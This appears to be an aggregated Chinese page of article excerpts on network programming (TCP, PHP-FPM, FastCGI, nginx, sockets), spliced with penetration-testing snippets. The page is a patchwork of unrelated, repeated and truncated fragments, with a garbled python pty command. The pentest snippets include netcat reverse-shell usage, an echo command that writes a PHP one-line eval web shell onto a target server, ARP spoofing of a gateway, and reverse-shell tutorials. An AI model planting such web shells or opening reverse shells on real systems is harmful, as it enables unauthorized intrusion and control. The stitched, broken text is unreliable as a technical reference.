随着工作年限的变长,干这行的紧迫感仍然和刚参加工作一样,毫无疑问作为一名服务端开发人员网络编程是我下一步需要攻破的地方之一:
– step1:client发起http请求 – step2:dns服务器解析域名得到主机ip – step3:默认端口为80,通过ip+port建立tcp/ip链接 – step4:建立连接的tcp/ip三次握手,建立成功发送数据包 – step5:nginx匹配请求
TCP提供可靠的服务。也就是说,通过TCP连接传送的数据,无差错,不丢失,不重复,且按序到达。UDP尽努力交付,即不保 证可靠交付
在服务器上,当我们查看php进程时,全都是php-fpm进程,大家都知道这个就是php的运行环境,那么,它到底是个什么东西呢?
本来也知道其工作原理,但是php仅支持命名管道,且windows下不支持命名管道。RoadRunner官方说默认就是管道,我想看看windows下如何实现,于是看了下源码。
netcat也就是平时用的nc,是一种功能丰富的网络调试和调查工具,它可以产生用户可能需要的几乎任何类型的连接,可以连接到远程主机nc -nvv Targert_IP Targert_Port,监听本地主机nc -l -p Local_Port,端口扫描nc -v target_IP target_Port、端口监听nc -l -p local_Port、远程文件传输nc Targert_IP Targert_Port < Targert_File、正向shell、反向shell等等。
想做一个简单的 Web API,这个时候就需要搭建一个 Web 服务器,在 ASP.NET 中需要 IIS 来搭建服务器,PHP 中需要借助 Apache/Nginx 来实现,对于新手在还没开始之前看到这么多步骤,也许就要放弃了,但是在 Node.js 中开启一个 Web 服务器是 So Easy 的,我们利用 Net、Dgram、HTTP、HTTPS 等模块通过几行简单的代码就可实现。
PHP 项目使用 Nginx 时,一般通过 php-fpm Nginx+PHP-FPM 形式访问交互,本文将详细解读 Nginx 配置文件、PHP-FPM、PHP-CGI 和 fastCGI 的概念。
这只是nginx的其中一种,用户请求的和返回用户请求结果是异步进行,即为用户请求的资源在nginx中做了一次中转,nginx可以同步,即为解析出来的资源,服务器直接将资源返回给用户,不用在nginx中做一次中转。
一直以来很少看到有多少人使用php的socket模块来做一些事情,大概大家都把它定位在脚本语言的范畴内吧,但是其实php的socket模块可以做很多事情,包括做ftplist,http post提交,smtp提交,组包并进行特殊报文的交互(如smpp协议),whois查询。这些都是比较常见的查询。
websocket是html5中提出的一个协议规范,它允许浏览器与服务器中相互主动通信.
快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。
本文介绍了ThinkPHP和YII2两个框架中对于redis的典型使用场景,通过连接数偏高的现象引出了长连接与短连接的概念,并且简单描述了几种网络连接状态,包括TIME_WAIT,ESTABLISHED,同时介绍了应用开发中Socket与TCP UDP的关联关系。
在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹个shell是再常见不过的事情了。
JavaScript 是互联网上最流行的脚本语言,这门语言可用于 HTML 和 web,更可广泛用于服务器、PC、笔记本电脑、平板电脑和智能手机等设备。
原文出处: 韩天峰(@韩天峰-Rango) 并 发IO问题一直是后端编程中的技术挑战,从最早的同步阻塞Fork进程,到多进程/多线程,到现在的异步IO、协程。PHP程序员因为有强大的LAMP框架,对底层方面的知识知之甚少,本文目的就是详细介绍PHP进行并发IO编程的各种尝试,最后再介绍Swoole的使用,深入浅出全面理解并发IO问题。 多进程/多线程同步阻塞 最早的服务器端程序都是通过多进程、多线程来解决并发IO的问题。进程模型出现的最早,从Unix系统诞生就开始有了进程的概念。最早的服务器端程序一般都是
并发IO问题一直是后端编程中的技术挑战,从最早的同步阻塞Fork进程,到多进程/多线程,到现在的异步IO、协程。PHP程序员因为有强大的LAMP框架,对底层方面的知识知之甚少,本文目的就是详细介绍PHP进行并发IO编程的各种尝试,最后再介绍Swoole的使用,深入浅出全面理解并发IO问题。
PHP网络技术(四)——Socket简介 (原创内容,转载请注明来源,谢谢) Socket又称为套接字,是操作系统提供的通信层的API,通过套接字,应用程序可以向网络发送请求以及应答请求。 一、进程通信 计算机的每一项工作都在一个进程中,每个进程都有自己的地址范围,因此需要保证进程互不干扰又可以相互协作。Socket提供进程通信的解决方法,实现不同主机进程间的相互通信问题。 同一个主机上,每个进程都有一个独立的编号,称为唯一进程号(Process ID)。但是,不同主机之间,Process ID有可能重
最近在帮一位大师傅测试招新赛的时候,发现自己对反弹shell是不太了解的,因此在用反弹shell解题过后,来对反弹shell进行相关学习,希望对各位师傅有所帮助。
Redis作为一个高性能、内存性的nosql数据库,已经成为日常开发必不可少的技术。对于一个开发人员来讲,不仅仅会使用Redis那么简单,也要学会如何管理、监控Redis服务。
上面就是mysql客户端和服务端的交互流程,然后结合实际中的抓包工具来看先这个过程。这里使用php的PDO扩展连接数据库并执行一条查询语句,抓包情况如下
为配合网站测试,一直在频繁的添加虚拟主机,然后就是cp、修改配置、重启服务! 所幸就写一个Nginx添加虚拟主机的脚本,添加起来方便,再把Nginx的启动关闭添加进来,就省事很多了。
成功读取出来。从nmap中我们知道这是apache的,我们看看读日志文件。/var/log/nginx/access.log
写个php一句话后门上去: [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time
写个php一句话后门上去: [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.
访问发现有m3diNf0/和se3reTdir777/uploads/目录存在继续对着两个目录进行扫描,在/m3diNf0/下发现了/info.php发现了网页的绝对路径,除此之外就没有其他可用信息 .接下来在 se3reTdir777下发现了一个输入框
下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)
请点击此处输入图片描述 写个php一句话后门上去: [jobcruit@wa64-054 rankup_log]$ echo -e "" >rankuplog_time.php [jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php 1、linux的想着先跨站 shell浏览目标站不行,命令行下输入: ls -la /www.users/ 2、溢出提权 # python –c ‘impotr pty;pty.spawn(“/bin/sh”); 来得到
PHP-FPM 是 PHP FastCGI Process Manager 的缩写,是 FastCGI 进程管理器。
CMS还是Drupal,msf几个模块都没成功,扫描后台也没扫描出什么有用的信息。应该还是在网站上。
Common Gateway Interface,即通用网关接口。因为服务器并不能直接与PHP交互,所以需要有个转换的过程,CGI就是定义了这个转换的规则
kali Linux (内外:192.168.5.139) Centos8 (腾讯云:123.6.44.67)
原理非常简单,当在以上两种场景时,无法直接连接到webshell时,可以换一种策略。让webshell主动连接自己,而不是自己连接webshell。此时,又会产生两个问题。 一webshell如何自动自我唤醒自动发送连接; 二如何监听webshell发送的连接;
访问robots.txt提示wolfcms http://192.168.32.137/robots.txt
php-fpm 全称是 PHP FastCGI Process Manager 的简称,从名字可得知,是一个 FastCGI 的管理器。
http://blog.csdn.net/hguisu/article/details/8930668 (排名100多bolg写的很好)
相互通信的两个计算机系统必须高度协调工作才行,而这种“协调”是相当复杂的。为了设计这样复杂的计算机网络,最初提出了分层的方法。“分层”可将庞大而复杂的问题,转化为若干较小的局部问题,而这些较小的局部问题比较易于研究和处理
今天又折腾了一下博客,想着慢慢积累知识并定期分享出来,当然也是监督自己时刻都在学习,然后现在把之前面试中遇到的问题归纳了一下,各位大佬肯定觉得很简单,但也是对我早期学习经历的一次总结吧。
大家日常使用 MySQL ,或者说刚刚搭好环境的时候,最常要配置的就是连接以及用户相关的操作,今天我们就来简单地学习一下 MySQL 中的连接方式以及用户相关的操作。最后,我们还会看几个小命令,可能大家都见过,如果你没用过的话,也可以记下来,感觉还是挺有用的哦!
在学习完最基础的 XS 对象和一些字段对象之后,我们今天将学习到的是 XS 的 PHP SDK 中非常核心的一个对象,那就是 XSServer 对象。从名字就可以看出,它是负责和服务端交互的,也就是 PHP 与 Xapian 的交互部分。要说搜索索引,最核心的应该是在索引和搜索的操作上,这两部分也是我们后面要重点关注的部分。但是,如果没有 XSServer 的支持,则一切都无法实现。幸好,这一部分的内容不多,也并不复杂,咱们就好好来看一下。
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上,下面来介绍分析几种常用的方法。
前两篇文章讲解了cmd和powershell混淆的各种姿势,原理和防御方式,希望能对大家有启发。
靶场地址:https://github.com/shengshengli/vulntarget
#nginx进程,一般设置为和cpu核数一样 worker_processes 4; #错误日志存放目录 error_log /data1/logs/error.log crit; #运行用户,默认即是nginx,可不设置 user nginx #进程pid存放位置 pid /application/nginx/nginx.pid; #Specifies the value for maximum file descriptors that can be opened by this process. #最大文件打开数(连接),可设置为系统优化后的ulimit -HSn的结果 worker_rlimit_nofile 51200;
领取专属 10元无门槛券
手把手带您无忧上云